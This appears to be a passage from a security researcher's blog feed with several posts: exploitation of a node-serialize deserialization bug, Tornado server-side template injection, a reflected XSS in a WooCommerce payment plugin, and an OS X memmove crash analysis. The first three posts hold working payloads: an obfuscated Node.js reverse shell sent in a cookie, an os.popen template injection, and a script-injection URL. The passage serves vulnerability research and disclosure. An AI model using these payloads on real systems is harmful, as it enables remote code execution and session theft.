eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
</code></pre>
<span style="font-weight: 400;">
</span><p><span style="font-weight: 400;">Now let’s generate the serialized payload and add IIFE brackets </span><span style="font-weight: 400;"><code>()</code></span><span style="font-weight: 400;"> after the function body.</span></p><pre><code class="js">{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}<span style="color: #ff0000;">()</span>"}
</code>
</pre>
<p><span style="font-weight: 400;">We need to perform Base64 encode of the same, and then make a request to the web server with encoded payload in the Cookie header.</span></p><p></p><p><img src="/static/img/blog/2017_03_29_nodejs-exploit.png" style="width: 1050px; margin: 0px auto;" data-filename="2017_03_29_nodejs-exploit.png" class="img-responsive"></p><p><span style="font-weight: 400;">We can now listen for a shell </span><span style="font-weight: 400;">
</span><span style="font-weight: 400;">
</span><span style="font-weight: 400;"><code>nc -l 127.0.0.1 1337</code></span></p><p></p><p><img src="/static/img/blog/2017_03_29_reverse-shell.png" style="width: 970px; margin: 0px auto;" data-filename="2017_03_29_reverse-shell.png" class="img-responsive"></p><p>
<span style="font-weight: 400;">And now we have a reverse shell!</span>
</p><h3></h3><h2>Exploitation Video
</h2><div class="embed-responsive embed-responsive-16by9"><iframe src="https://www.youtube.com/embed/GFacPoWOcw0" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen" class="embed-responsive-item"></iframe></div>
<h2>Final Thoughts</h2>
<p><span style="font-weight: 400;">We exploited a deserialization bug to achieve arbitrary code execution with untrusted user input. The Rule of thumb is never to deserialize untrusted user input. The root cause is that it was using <code>eval()</code> internally for deserialization. I also found a similar bug in another</span><span style="font-weight: 400;"> module named </span><a href="https://www.npmjs.com/package/serialize-to-js"><span style="font-weight: 400;">serialize-to-js</span></a><span style="font-weight: 400;">. </span><span style="font-weight: 400;">In that module,</span><span style="font-weight: 400;"> the <code>require()</code> function in Node.js has no scope during deserialization of an object with IIFE and they were using <code>new Function()</code> internally for deserialization. We can still achieve code execution with a slightly complex payload.</span></p><h2>Update</h2><p>
Deserialization bug in node-serialize function is assigned <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941">CVE-2017-5941</a>
Deserialization bug in serialize-to-js function is assigned <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5954">CVE-2017-5954</a></p><p></p><p></p>Ajin AbrahamServer Side Template Injection in Tornado2016-07-03T00:00:00Ztag:ajinabraham.com,2016-07-03:/blog/server-side-template-injection-in-tornado<p></p><p><img src="/static/img/blog/2017_03_29_serverside_template_injection_tornado.png" style="width: 835.885px; margin: 0px auto; height: 269.246px;" data-filename="2017_03_29_serverside_template_injection_tornado.png" class="img-responsive"><br>Tornado is a great and easy to use Python web framework for developing dynamic web applications with ease. When it comes to PoC or CTF Challenge creation, tornado is my default choice. Today we will see how Server Side Template Injection (SSTI) can be achieved in Tornado using the default template engine provided with it. Server Side template injections are not a vulnerability in Frameworks. They appear due to insecure code. SSTI can cause the similar impact of a Remote Code Injection attack and results in code execution depending on the templating engine.
Modern web applications support templating, a technique that allows to load a file dynamically and render some data or evaluate expressions into certain points in the file and provide it back to the client.<br></p><p>A pseudo code example will be something like
Template: <em>abc.html</em>
</p><p></p><pre><code class="html"><html>
<head><title>Hello {{ name }}</title></head>
<body>
Hello FOO
</body>
</html></code></pre><p> Application Code: <em>server.py<br></em></p>
<pre><code class="python">name = request.GET['name']
template_data = open("abc.html").read()
template = Template.load(template_data)
response.write(template, name='World')</code></pre><p>The response generated will be</p><pre><code class="html"><html>
<head><title>Hello World</title></head>
<body>
Hello FOO
</body>
</html></code></pre><p>Server Side Template Injection (SSTI) happens when untrusted user input is passed into template data before rendering is done.
For example the vulnerable application code will look like this</p><pre><code class="python">name = request.GET['name']
template_data = open("abc.html").read()
<span style="color: #ff0000;">template_data = template_data.replace("FOO",name)</span>
template = Template.load(template_data)
response.write(template, name='world')</code></pre><p>This can end up in arbitrary remote code execution depending on the templating engine. PortSwigger has put up a blog covering exploit/detection payloads for most of the templating engines like Mako, Twig, Jade, Smarty, Jinja2, Freemaker, Velocity etc. You can read the blog post here: <a href="http://blog.portswigger.net/2015/08/server-side-template-injection.html" style="background-color: rgb(255, 255, 255);">Server Side Template Injection</a>
<br><br>I was trying to create a CTF related to SSTI for my Live training of <strong>WebSecNinja: Lesser known Web Attacks</strong> at Hack In Paris. Since the above mentioned template engines and the exploit payloads are well mentioned and easily available in the internet, I wanted to try something different for the CTF. So I looked into various other templating engines like Django's templating engine, Cheetah, Tornado's template engine etc.
It turned out that tornado was a perfect candidate. I couldn't find out a blog post or whitepaper explaining Server Side Template Injection in Tornado. After playing with tornado's template engine, I found that arbitrary code injection via SSTI is possible due to insecure code. This <a href="http://www.tornadoweb.org/en/stable/template.html?highlight=templating#syntax-reference" style="background-color: rgb(255, 255, 255);">documentation</a> on tornado templating helps a lot in creating an exploit payload.</p><p></p><p>These are the useful bit from the documentation to create a SSTI exploit for tornado.</p><p>
<code>{{ }}</code> - Anything coming between <strong>{{</strong> and <strong>}}</strong> are evaluated and send back to the output.</p><p> Example:</p><p></p><p><code>{{ "ajin" }}</code> -> ajin</p><p>
</p><p><code>{{ 2*2 }}</code> -> 4</p><p><br><code>{% import *module* %}</code> - Allows you to import python modules.<br></p><p></p><p> Example:<br></p><p></p><p><code>{% import subprocess %}</code> </p><p>That's all we need to craft an exploit code.<br></p><pre><code class="python">{% import os %}{{ os.popen("whoami").read() }}</code></pre><p></p><p></p><p>For the completeness of the post, let's write a tornado application vulnerable to SSTI. <br></p><p><em>server.py</em></p>
<pre><code class="python">import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
<head><title> Hello {{ name }} </title></head>
<body> Hello FOO </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):
def get(self):
name = self.get_argument('name', '')
template_data = TEMPLATE.replace("FOO",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))
application = tornado.web.Application([
(r"/", MainHandler),
], debug=True, static_path=None, template_path=None)
if __name__ == '__main__':
application.listen(8000)
tornado.ioloop.IOLoop.instance().start()</code></pre> Now run the server,
<code>python server.py</code>
and navigate to
<code>http://localhost:8000/?name=ajin</code><br><p></p><p><img src="/static/img/blog/2017_03_29_ssti_vuln_app.png" style="width: 751.885px; margin: 0px auto; height: 199.596px;" data-filename="2017_03_29_ssti_vuln_app.png" class="img-responsive"><br>
You can see that data is getting dynamically substituted and coming back in the response.
Let's try the basic test payload for SSTI. (Varies from templating framework)
<code>http://localhost:8000/?name={{2*2}}</code>
<br><br><img src="/static/img/blog/2017_03_29_vanila-ssti.png" style="width: 780.885px; margin: 0px auto; height: 219.072px;" data-filename="2017_03_29_vanila-ssti.png" class="img-responsive"><br>And finally the exploit payload
<code>http://localhost:8000/?name={%import%20os%}{{os.popen(%22whoami%22).read()}</code><br><img src="/static/img/blog/2017_03_29_ssti-code-injection.png" style="width: 914.526px; margin: 0px auto; height: 175.951px;" data-filename="2017_03_29_ssti-code-injection.png" class="img-responsive"><br>Code execution will happen at template interpolation and the result of whoami command is send back in response.</p><p></p>Ajin AbrahamInstamojo Woocommerce Plugin XSS2016-04-13T00:00:00Ztag:ajinabraham.com,2016-04-13:/blog/instamojo-woocommerce-plugin-xss<p>We are using Instamojo as a payment gateway for Indian customers in our security education platform <a href="https://opsecx.com">OpSecX</a>. Instamojo provides a plugin that can be used with WooCommerce. To ensure our customers safety we used to do a code review and security analysis on the plugins we use. Our security assessment revealed that Instamojo plugin is affected by a reflected cross site scripting (XSS).</p>
<p><strong>Vulnerable Plugin:</strong> https://wordpress.org/plugins/woo-instamojo/<br>
<strong>Vulnerability Description:</strong> Instamojo plugin will introduce an XSS vulnerability to the checkout page of the website that uses WooCommerce due to the lack of user input sanitization.<br>
<strong>Vulnerable File:</strong> woo-instamojo.php<br>
<strong>Vulnerable Version: </strong> < 0.0.7<br>
<strong>Vulnerable Code: </strong></p>
<pre><code class="php">Line 65: $message_format = '<div class="%s">%s</div>';
Line 66: return sprintf($message_format, $_GET['class'], htmlentities(urldecode($_GET['msg'])));</code></pre>
<p>You can see that the GET parameter “<strong>class”</strong> is not sanitized properly.</p>
<h2>Exploit</h2><br>
<pre><code>http://site/index.php/checkout/order-received/?msg=hello&class="/><script>alert(0)</script></code></pre>
<p>HTML Rendering:</p>
<pre><code class="html"><div class="\"/><script>alert(/XSS/)</script>">hello</div></code></pre>
<h3><img class="alignnone size-large wp-image-1084 img-responsive" src="/static/img/blog/instamojo-xss.png" alt="xss" width="1024" height="360" sizes="(max-width: 1024px) 100vw, 1024px" style="width: 769.527px; height: 271.167px; margin: 0px auto;"></h3>
<h2>Disclosure Process</h2>
<p>We notified Instamojo team about the vulnerability on <b>20-12-2015</b><br>
They acknowledged the report on <b>30-12-2015</b><br>
Vulnerability Fixed in version 0.0.7 on <b>15-03-2016</b></p>Ajin AbrahamOS X Mavericks 10.9.5 – out of bound read/write in memmove()2015-09-09T00:00:00Ztag:ajinabraham.com,2015-09-09:/blog/os-x-mavericks-1095-out-of-bound-readwrite-in-memmove<p></p><p>While Fuzzing the Android's <a href="https://android.googlesource.com/platform/frameworks/base/+/742a67127366c376fdf188ff99ba30b27d3bf90c/cmds/installd/commands.c">installd</a> daemon, accidentally I did a <strong>cat</strong> on the fuzzer generated APK and OS X Mavericks's Terminal.app crashed. Shown below is the crash report.<br><br><img src="/static/img/blog/2017_03_29_osx-mavericks-crash.png" data-filename="2017_03_29_osx-mavericks-crash.png" style="width: 974px; margin: 0px auto;" class="img-responsive"></p><p>So I thought to investigate further on this.
</p><h2>Register Dump</h2><br>
<pre><code class="asm">(lldb) register read
General Purpose Registers:
rax = 0x000000010c15b264
rbx = 0x0000000100457690
rcx = 0x0000000000000003
rdx = <strong><span style="color: #ff0000;">0xfffffffffffa4d7c</span></strong>
rdi = 0x000000010c100020
rsi = 0x000000010c100018
rbp = 0x00007fff5fbfdc10
rsp = 0x00007fff5fbfdc10
r8 = 0x0000000000000000
r9 = 0x0000000000000009
r10 = 0x0000000101046880
r11 = 0x000000010c15b263
r12 = 0x0000000000000001
r13 = 0x0000000000000008
r14 = 0x0000000000000008
r15 = 0x000000000000000c
<span style="color: #ff0000;"><strong>rip = 0x00007fff8bbced10 libsystem_platform.dylib`_<wbr>platform_memmove</strong></span>$VARIANT$<wbr>Unknown + 528
rflags = 0x0000000000010202
cs = 0x000000000000002b
fs = 0x0000000000000000
gs = 0x000000000c150000
</code>
</pre>
<h2>Stack Trace</h2><br>
<pre><code class="html">* thread #1: tid = 0x4bd5, 0x00007fff8bbced10 <span style="color: #ff0000;"><strong>libsystem_platform.dylib`_<wbr>platform_memmove</strong></span>$VARIANT$<wbr>Unknown + 528, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10c0ffff8)
* frame #0: 0x00007fff8bbced10 libsystem_plaform.dylib`_<wbr>platform_memmove$VARIANT$<wbr>Unknown + 528
frame #1: 0x000000010002945d Terminal`___lldb_unnamed_<wbr>function445$$Terminal + 96
frame #2: 0x00000001000293ca Terminal`___lldb_unnamed_<wbr>function444$$Terminal + 632
frame #3: 0x000000010002876a Terminal`___lldb_unnamed_<wbr>function438$$Terminal + 265
frame #4: 0x00000001000272dd Terminal`___lldb_unnamed_<wbr>function433$$Terminal + 16104
frame #5: 0x0000000100023075 Terminal`___lldb_unnamed_<wbr>function429$$Terminal + 114
frame #6: 0x0000000100022c5e Terminal`___lldb_unnamed_<wbr>function426$$Terminal + 449
frame #7: 0x00007fff8e76075e Foundation`__<wbr>NSThreadPerformPerform + 229
frame #8: 0x00007fff8982a5b1 CoreFoundation`__CFRUNLOOP_IS_<wbr>CALLING_OUT_TO_A_SOURCE0_<wbr>PERFORM_FUNCTION__ + 17
frame #9: 0x00007fff8981bc62 CoreFoundation`__<wbr>CFRunLoopDoSources0 + 242
frame #10: 0x00007fff8981b3ef CoreFoundation`__CFRunLoopRun + 831
frame #11: 0x00007fff8981ae75 CoreFoundation`<wbr>CFRunLoopRunSpecific + 309
frame #12: 0x00007fff8bdf0a0d HIToolbox`<wbr>RunCurrentEventLoopInMode + 226
frame #13: 0x00007fff8bdf07b7 HIToolbox`<wbr>ReceiveNextEventCommon + 479
frame #14: 0x00007fff8bdf05bc HIToolbox`_<wbr>BlockUntilNextEventMatchingLis<wbr>tInModeWithFilter + 65
frame #15: 0x00007fff8cc4f24e AppKit`_DPSNextEvent + 1434
frame #16: 0x00007fff8cc4e89b AppKit`-[NSApplication nextEventMatchingMask:<wbr>untilDate:inMode:dequeue:] + 122
frame #17: 0x00007fff8cc4299c AppKit`-[NSApplication run] + 553
frame #18: 0x00007fff8cc2d783 AppKit`NSApplicationMain + 940
frame #19: 0x00007fff874fa5fd libdyld.dylib`start + 1
frame #20: 0x00007fff874fa5fd libdyld.dylib`start + 1
(lldb)
</code>
</pre>
<h2>Disassembly</h2><br>
<pre><code class="html">(lldb) di
<strong><span style="color: #ff0000;">libsystem_platform.dylib`_platform_memmove</span></strong>$VARIANT$Unknown:
0x7fff8bbceb00: push rbp
0x7fff8bbceb01: mov rbp, rsp
0x7fff8bbceb04: mov r11, rdi
0x7fff8bbceb07: sub r11, rsi
0x7fff8bbceb0a: mov rax, rdi
0x7fff8bbceb0d: cmp r11, rdx
0x7fff8bbceb10: jb 0x7fff8bbceb2d ; _platform_memmove$VARIANT$Unknown + 45
0x7fff8bbceb12: cmp rdx, 0x60
0x7fff8bbceb16: jbe 0x7fff8bbceb47 ; _platform_memmove$VARIANT$Unknown + 71
0x7fff8bbceb18: cmp rdx, 0x20000
0x7fff8bbceb1f: jb 0x7fff8bbcebe0 ; _platform_memmove$VARIANT$Unknown + 224
0x7fff8bbceb25: mov rcx, rdx
0x7fff8bbceb28: cld
0x7fff8bbceb29: rep
0x7fff8bbceb2a: movsb
0x7fff8bbceb2b: pop rbp
0x7fff8bbceb2c: ret
0x7fff8bbceb2d: cmp rsi, rdi
0x7fff8bbceb30: je 0x7fff8bbceb2b ; _platform_memmove$VARIANT$Unknown + 43
0x7fff8bbceb32: add rsi, rdx
0x7fff8bbceb35: add rdi, rdx
0x7fff8bbceb38: cmp rdx, 0x60
0x7fff8bbceb3c: jb 0x7fff8bbcec9e ; _platform_memmove$VARIANT$Unknown + 414
0x7fff8bbceb42: jmp 0x7fff8bbcecc0 ; _platform_memmove$VARIANT$Unknown + 448
0x7fff8bbceb47: cmp rdx, 0x10
0x7fff8bbceb4b: jbe 0x7fff8bbceb97 ; _platform_memmove$VARIANT$Unknown + 151
0x7fff8bbceb4d: movups xmm4, xmmword ptr [rsi + rdx - 0x10]
0x7fff8bbceb52: sub rdx, 0x20
0x7fff8bbceb56: jbe 0x7fff8bbceb85 ; _platform_memmove$VARIANT$Unknown + 133
0x7fff8bbceb58: vmovups ymm1, ymmword ptr [rsi]
0x7fff8bbceb5c: vmovups ymmword ptr [rdi], ymm1
0x7fff8bbceb60: add rsi, 0x20
0x7fff8bbceb64: add rdi, 0x20
0x7fff8bbceb68: sub rdx, 0x20
0x7fff8bbceb6c: jb 0x7fff8bbceb82 ; _platform_memmove$VARIANT$Unknown + 130
0x7fff8bbceb6e: vmovups ymm2, ymmword ptr [rsi]
0x7fff8bbceb72: vmovups ymmword ptr [rdi], ymm2
0x7fff8bbceb76: add rsi, 0x20
0x7fff8bbceb7a: add rdi, 0x20
0x7fff8bbceb7e: sub rdx, 0x20
0x7fff8bbceb82: vzeroupper
0x7fff8bbceb85: add rdx, 0x10
0x7fff8bbceb89: jle 0x7fff8bbceb91 ; _platform_memmove$VARIANT$Unknown + 145
0x7fff8bbceb8b: movups xmm3, xmmword ptr [rsi]
0x7fff8bbceb8e: movups xmmword ptr [rdi], xmm3
0x7fff8bbceb91: movups xmmword ptr [rdi + rdx], xmm4
0x7fff8bbceb95: pop rbp
0x7fff8bbceb96: ret
0x7fff8bbceb97: sub rdx, 0x8
0x7fff8bbceb9b: jb 0x7fff8bbcebad ; _platform_memmove$VARIANT$Unknown + 173
0x7fff8bbceb9d: mov rcx, qword ptr [rsi]
0x7fff8bbceba0: mov r8, qword ptr [rsi + rdx]
0x7fff8bbceba4: mov qword ptr [rdi], rcx
0x7fff8bbceba7: mov qword ptr [rdi + rdx], r8
0x7fff8bbcebab: pop rbp
0x7fff8bbcebac: ret
0x7fff8bbcebad: add rdx, 0x8
0x7fff8bbcebb1: je 0x7fff8bbcebd8 ; _platform_memmove$VARIANT$Unknown + 216
0x7fff8bbcebb3: xor r8, r8
0x7fff8bbcebb6: mov cl, byte ptr [rsi + r8]
0x7fff8bbcebba: mov byte ptr [rdi + r8], cl
0x7fff8bbcebbe: sub rdx, 0x1
0x7fff8bbcebc2: je 0x7fff8bbcebd8 ; _platform_memmove$VARIANT$Unknown + 216
0x7fff8bbcebc4: mov cl, byte ptr [rsi + r8 + 0x1]
0x7fff8bbcebc9: mov byte ptr [rdi + r8 + 0x1], cl
0x7fff8bbcebce: add r8, 0x2
0x7fff8bbcebd2: sub rdx, 0x1
0x7fff8bbcebd6: jne 0x7fff8bbcebb6 ; _platform_memmove$VARIANT$Unknown + 182
0x7fff8bbcebd8: pop rbp
0x7fff8bbcebd9: ret
0x7fff8bbcebda: nop word ptr [rax + rax]
0x7fff8bbcebe0: vmovups ymm0, ymmword ptr [rsi]
0x7fff8bbcebe4: add rdi, 0x20
0x7fff8bbcebe8: and rdi, -0x20
0x7fff8bbcebec: mov rcx, rdi
0x7fff8bbcebef: sub rcx, rax
0x7fff8bbcebf2: add rsi, rcx
0x7fff8bbcebf5: sub rdx, rcx
0x7fff8bbcebf8: vmovups ymm1, ymmword ptr [rsi]
0x7fff8bbcebfc: vmovups ymmword ptr [rax], ymm0
0x7fff8bbcec00: vmovups ymm2, ymmword ptr [rsi + 0x20]
0x7fff8bbcec05: add rsi, 0x40
0x7fff8bbcec09: sub rdx, 0x80
0x7fff8bbcec10: jbe 0x7fff8bbcec60 ; _platform_memmove$VARIANT$Unknown + 352
0x7fff8bbcec12: test rsi, 0x1f
0x7fff8bbcec19: je 0x7fff8bbcec40 ; _platform_memmove$VARIANT$Unknown + 320
0x7fff8bbcec1b: vmovaps ymmword ptr [rdi], ymm1
0x7fff8bbcec1f: vmovaps ymmword ptr [rdi + 0x20], ymm2
0x7fff8bbcec24: add rdi, 0x40
0x7fff8bbcec28: vmovups ymm1, ymmword ptr [rsi]
0x7fff8bbcec2c: vmovups ymm2, ymmword ptr [rsi + 0x20]
0x7fff8bbcec31: add rsi, 0x40
0x7fff8bbcec35: sub rdx, 0x40
0x7fff8bbcec39: ja 0x7fff8bbcec1b ; _platform_memmove$VARIANT$Unknown + 283
0x7fff8bbcec3b: jmp 0x7fff8bbcec60 ; _platform_memmove$VARIANT$Unknown + 352
0x7fff8bbcec3d: nop dword ptr [rax]
0x7fff8bbcec40: vmovaps ymmword ptr [rdi], ymm1
0x7fff8bbcec44: vmovaps ymmword ptr [rdi + 0x20], ymm2
0x7fff8bbcec49: add rdi, 0x40
0x7fff8bbcec4d: vmovaps ymm1, ymmword ptr [rsi]
0x7fff8bbcec51: vmovaps ymm2, ymmword ptr [rsi + 0x20]
0x7fff8bbcec56: add rsi, 0x40
0x7fff8bbcec5a: sub rdx, 0x40
0x7fff8bbcec5e: ja 0x7fff8bbcec40 ; _platform_memmove$VARIANT$Unknown + 320
0x7fff8bbcec60: vmovups ymm3, ymmword ptr [rsi + rdx]
0x7fff8bbcec65: vmovups ymm4, ymmword ptr [rsi + rdx + 0x20]
0x7fff8bbcec6b: vmovaps ymmword ptr [rdi], ymm1
0x7fff8bbcec6f: vmovaps ymmword ptr [rdi + 0x20], ymm2
0x7fff8bbcec74: vmovups ymmword ptr [rdi + rdx + 0x40], ymm3
0x7fff8bbcec7a: vmovups ymmword ptr [rdi + rdx + 0x60], ymm4
0x7fff8bbcec80: pop rbp
0x7fff8bbcec81: vzeroupper
0x7fff8bbcec84: ret
0x7fff8bbcec85: nop word ptr cs:[rax + rax]
0x7fff8bbcec90: sub rsi, 0x8
0x7fff8bbcec94: mov rcx, qword ptr [rsi]
0x7fff8bbcec97: sub rdi, 0x8
0x7fff8bbcec9b: mov qword ptr [rdi], rcx
0x7fff8bbcec9e: sub rdx, 0x8
0x7fff8bbceca2: jae 0x7fff8bbcec90 ; _platform_memmove$VARIANT$Unknown + 400
0x7fff8bbceca4: add rdx, 0x8
0x7fff8bbceca8: je 0x7fff8bbcecbc ; _platform_memmove$VARIANT$Unknown + 444
0x7fff8bbcecaa: sub rsi, 0x1
0x7fff8bbcecae: mov cl, byte ptr [rsi]
0x7fff8bbcecb0: sub rdi, 0x1
0x7fff8bbcecb4: mov byte ptr [rdi], cl
0x7fff8bbcecb6: sub rdx, 0x1
0x7fff8bbcecba: jne 0x7fff8bbcecaa ; _platform_memmove$VARIANT$Unknown + 426
0x7fff8bbcecbc: pop rbp
0x7fff8bbcecbd: ret
0x7fff8bbcecbe: nop
0x7fff8bbcecc0: vmovups ymm0, ymmword ptr [rsi - 0x20]
0x7fff8bbcecc5: mov r11, rdi
0x7fff8bbcecc8: sub rdi, 0x1
0x7fff8bbceccc: and rdi, -0x20
0x7fff8bbcecd0: mov rcx, r11
0x7fff8bbcecd3: sub rcx, rdi
0x7fff8bbcecd6: sub rsi, rcx
0x7fff8bbcecd9: sub rdx, rcx
0x7fff8bbcecdc: vmovups ymm1, ymmword ptr [rsi - 0x20]
0x7fff8bbcece1: vmovups ymmword ptr [r11 - 0x20], ymm0
0x7fff8bbcece7: vmovups ymm2, ymmword ptr [rsi - 0x40]
0x7fff8bbcecec: sub rsi, 0x40
0x7fff8bbcecf0: sub rdx, 0x80
0x7fff8bbcecf7: jbe 0x7fff8bbced62 ; _platform_memmove$VARIANT$Unknown + 610
0x7fff8bbcecf9: test rsi, 0x1f
0x7fff8bbced00: je 0x7fff8bbced40 ; _platform_memmove$VARIANT$Unknown + 576
<span style="color: #ff0000;"><strong>0x7fff8bbced02: vmovaps ymmword ptr [rdi - 0x20], ymm1; memory write!!</strong></span>
0x7fff8bbced07: vmovaps ymmword ptr [rdi - 0x40], ymm2
0x7fff8bbced0c: sub rdi, 0x40
<strong><span style="color: #ff0000;">-> 0x7fff8bbced10: vmovups ymm1, ymmword ptr [rsi - 0x20]; underflow read</span></strong>
0x7fff8bbced15: vmovups ymm2, ymmword ptr [rsi - 0x40]
0x7fff8bbced1a: sub rsi, 0x40
0x7fff8bbced1e: sub rdx, 0x40
0x7fff8bbced22: ja 0x7fff8bbced02 ; _platform_memmove$VARIANT$Unknown + 514
0x7fff8bbced24: jmp 0x7fff8bbced62 ; _platform_memmove$VARIANT$Unknown + 610
0x7fff8bbced26: nop word ptr cs:[rax + rax]
0x7fff8bbced35: nop
0x7fff8bbced36: nop
0x7fff8bbced37: nop
0x7fff8bbced38: nop
0x7fff8bbced39: nop
0x7fff8bbced3a: nop
0x7fff8bbced3b: nop
0x7fff8bbced3c: nop
0x7fff8bbced3d: nop
0x7fff8bbced3e: nop
0x7fff8bbced3f: nop
0x7fff8bbced40: vmovaps ymmword ptr [rdi - 0x20], ymm1
0x7fff8bbced45: vmovaps ymmword ptr [rdi - 0x40], ymm2
0x7fff8bbced4a: sub rdi, 0x40
0x7fff8bbced4e: vmovaps ymm1, ymmword ptr [rsi - 0x20]
0x7fff8bbced53: vmovaps ymm2, ymmword ptr [rsi - 0x40]
0x7fff8bbced58: sub rsi, 0x40
0x7fff8bbced5c: sub rdx, 0x40
0x7fff8bbced60: ja 0x7fff8bbced40 ; _platform_memmove$VARIANT$Unknown + 576
0x7fff8bbced62: sub rsi, rdx
0x7fff8bbced65: vmovups ymm3, ymmword ptr [rsi - 0x20]
0x7fff8bbced6a: vmovups ymm4, ymmword ptr [rsi - 0x40]
0x7fff8bbced6f: vmovaps ymmword ptr [rdi - 0x20], ymm1
0x7fff8bbced74: vmovaps ymmword ptr [rdi - 0x40], ymm2
